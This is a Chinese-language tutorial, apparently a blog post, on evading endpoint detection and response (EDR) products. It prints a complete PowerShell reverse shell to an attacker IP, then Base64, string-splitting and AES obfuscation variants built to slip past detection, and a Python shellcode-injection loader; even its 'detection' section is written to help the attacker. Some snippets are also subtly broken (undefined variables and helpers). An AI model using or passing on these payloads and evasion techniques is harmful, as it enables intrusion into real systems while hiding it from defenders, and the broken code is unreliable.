一、EDR的核心工作原理剖析

在讨论如何绕过EDR(Endpoint Detection and Response,终端检测与响应)之前,首先需要了解它是如何工作的。只有真正理解EDR的核心机制,才能找到有效的对抗方法。

为什么EDR好像无处不在?

大多数现代EDR通过在终端上安装一个轻量级代理软件来实现实时监控和分析。它们会拦截一些关键的系统调用(syscall)、进程行为、内存操作等,利用这些信息进行威胁检测。常见的工作模块和原理包括:

  1. 内核级钩子(Kernel Hooks)
  2. EDR会在低层次的内核级别挂钩系统函数,比如Windows上的NtCreateFileNtWriteVirtualMemory等。这些钩子可以用来实时捕获文件操作、内存注入和API调用。

  1. 用户模式的API监控
  2. 一些EDR代理会在用户模式下通过劫持DLL函数(如kernel32.dll中的WriteProcessMemory)实现行为捕捉。 缺点:容易被攻击者通过DLL植入或者非标准加载机制绕开。

  1. 行为分析引擎
  2. 通过监控进程的行为序列,结合机器学习模型,判断是否存在恶意行为。比如检测到一个进程频繁调用VirtualAllocCreateRemoteThread时,就可能标记为恶意。

  1. 内存扫描与IOC匹配
  2. 很多EDR会定期扫描进程内存,尝试发现可疑的shellcode或者已知的恶意代码特征。

  1. 流量分析与云检测
  2. 终端代理将采集到的可疑事件上传到云端分析中心,基于全网威胁情报数据库进行匹配。

绕过的核心思路

我们的目标是伪装或隐藏恶意行为,避开检测机制。这里有几条核心原则:

  • 避免触发内核钩子:比如通过直接调用syscall或利用非标准的加载方法。
  • 隐藏行为序列:使用API混淆、延迟加载等手段突破行为分析。
  • 逃避内存扫描:动态加密shellcode或使用无文件攻击策略。
  • 伪装流量:利用合法协议伪装,比如HTTP、DNS隧道。

接下来我们会从实战案例出发,逐步展示这些绕过技巧。

---

二、搭建实战环境,模拟EDR对抗

在正式操作之前,我们需要搭建一个模拟环境,用于测试绕过技术。

环境组成

  1. 目标机器
  2. 一台安装Windows 10的虚拟机,带有常见EDR软件(如CrowdStrike、Carbon Black、Microsoft Defender for Endpoint等)。如果你无法获得真实的EDR,可以使用Sysmon来模拟监控和日志收集功能。

  1. 攻击者机器
  2. Kali Linux或Windows攻击机,安装Cobalt Strike、Metasploit等常用工具,还可以自定义开发绕过工具。

  1. 网络环境
  2. 主机间需要互通,可以是NAT或桥接模式。建议加入一个本地DNS服务器,便于流量伪装测试。

配置Sysmon规则

如果没有商业EDR,可以用Sysmon来模拟终端行为监控。下载Sysmon后,配置以下规则文件:

<pre><code class="language-xml">&lt;Sysmon schemaversion=&quot;4.50&quot;&gt; &lt;RuleGroup name=&quot;Process Monitoring&quot; groupRelation=&quot;or&quot;&gt; &lt;ProcessCreate onmatch=&quot;include&quot;&gt; &lt;CommandLine condition=&quot;contains&quot;&gt;powershell&lt;/CommandLine&gt; &lt;/ProcessCreate&gt; &lt;ProcessCreate onmatch=&quot;include&quot;&gt; &lt;ImageLoaded condition=&quot;contains&quot;&gt;C:\Windows\Temp\&lt;/ImageLoaded&gt; &lt;/ProcessCreate&gt; &lt;/RuleGroup&gt; &lt;/Sysmon&gt;</code></pre>

使用以下命令安装Sysmon并加载规则: <pre><code class="language-bash">sysmon -i sysmon_config.xml</code></pre>

这会监控所有与PowerShell相关的操作以及加载临时目录中的恶意模块。

---

三、Payload构造的艺术:绕过EDR的细节

我们先从一个简单的恶意Payload出发,逐步改造为免杀版本。

基础Payload

以下是一个使用PowerShell执行的常见反弹shell代码:

<pre><code class="language-powershell">$client = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;,4444); $stream = $client.GetStream(); $writer = New-Object System.IO.StreamWriter($stream); $buffer = New-Object byte[] 1024; while(($bytes = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){ $data = (New-Object Text.ASCIIEncoding).GetString($buffer,0, $bytes); $sendback = (iex $data 2&gt;&amp;1 | Out-String ); $sendback2 = $sendback + &quot;PS&gt; &quot;; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close();</code></pre>

执行此代码时,大多数EDR会检测到恶意行为,比如:

  • PowerShell的动态字节操作。
  • 连接到外部IP地址。

接下来,我们对其进行免杀处理。

---

初步混淆:Base64编码

PowerShell允许我们通过Base64传递参数,这样可以绕过简单的命令检测:

<pre><code class="language-powershell">$command = &#039;$client = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;,4444); ...&#039;; $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)); powershell -enc $encoded</code></pre>

然而,这种初级手段已经被大多数EDR识别。

---

高级混淆技术

  1. 动态加载关键函数
  2. 动态加载System.Net.Sockets.TCPClient,而不是直接调用。

<pre><code class="language-powershell">$assembly = [Ref].Assembly.GetType(&quot;System.Net.Sockets.TCPClient&quot;); $client = $assembly.GetConstructor(@()).Invoke(@());</code></pre>

  1. 分块执行Payload
  2. 将完整代码拆分为多段,动态拼接后再执行。这样会降低内存扫描的成功率。

<pre><code class="language-powershell">$part1 = &#039;$clie&#039;; $part2 = &#039;nt = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;,4444);&#039;; Invoke-Expression ($part1 + $part2);</code></pre>

黑客示意图

  1. 加密Payload
  2. 使用AES对Payload加密,运行时解密后加载:

黑客示意图

<pre><code class="language-powershell">$key = [Convert]::FromBase64String(&quot;bXlzZWNyZXRrZXk=&quot;); # 加密密钥 $encryptedPayload = &quot;加密后的字节流&quot;; $decryptedPayload = [System.Security.Cryptography.Aes]::Create().CreateDecryptor($key, $iv).TransformFinalBlock($encryptedPayload, 0, $encryptedPayload.Length); Invoke-Expression ([Text.Encoding]::Unicode.GetString($decryptedPayload));</code></pre>

这些方法可以有效提高免杀率,但仍需结合实际测试效果。

---

四、规避内存扫描的奇技淫巧

为了绕过EDR的内存扫描,以下是几种有效策略。

使用Shellcode注入技术

通过动态加载和内存分配方式注入shellcode,可以规避对脚本行为的检测:

<pre><code class="language-python">import ctypes, base64

替换为你的加密Shellcode

encrypted_shellcode = b&quot;加密后的shellcode&quot; key = b&quot;密钥&quot;

解密shellcode

shellcode = aes_decrypt(encrypted_shellcode, key)

分配内存并写入shellcode

ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))

创建远程线程执行shellcode

handle = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)</code></pre>

此方法可以结合C/C++或Go开发,提高隐蔽性。

---

五、如何检测与防范?

作为攻击者,我们也需要理解防守方的视角,来提高攻击效率。

  1. 检查EDR日志
  2. 攻击过程中,使用合法工具(如Event Viewer或Sysinternals工具包)提取日志,识别触发的检测规则。

黑客示意图

  1. 流量监控
  2. 在攻击机上运行网络抓包工具(如Wireshark),确保Payload流量不会暴露明显的C2特征。

黑客示意图

  1. 动态调整策略
  2. 根据目标环境的防御水平,动态切换攻击方案,避免固定模式暴露。

---

六、实战中的经验教训

  1. 反复测试免杀效果
  2. 没有一种Payload能通用所有EDR。建议在多环境下测试,并持续更新混淆技术。

  1. 不要忽略行为模式
  2. 即使代码免杀成功,行为特征仍可能暴露。尝试模拟合法的用户行为,降低攻击可见度。

  1. 利用合法工具伪装
  2. 使用被信任的工具(如PowerShell、MSBuild、Rundll32)作为载体,提高隐蔽性。

---

这只是EDR绕过技术的冰山一角,真正的对抗需要持续研究和实践。希望本文能为新手提供一个实战入门的视角与方法。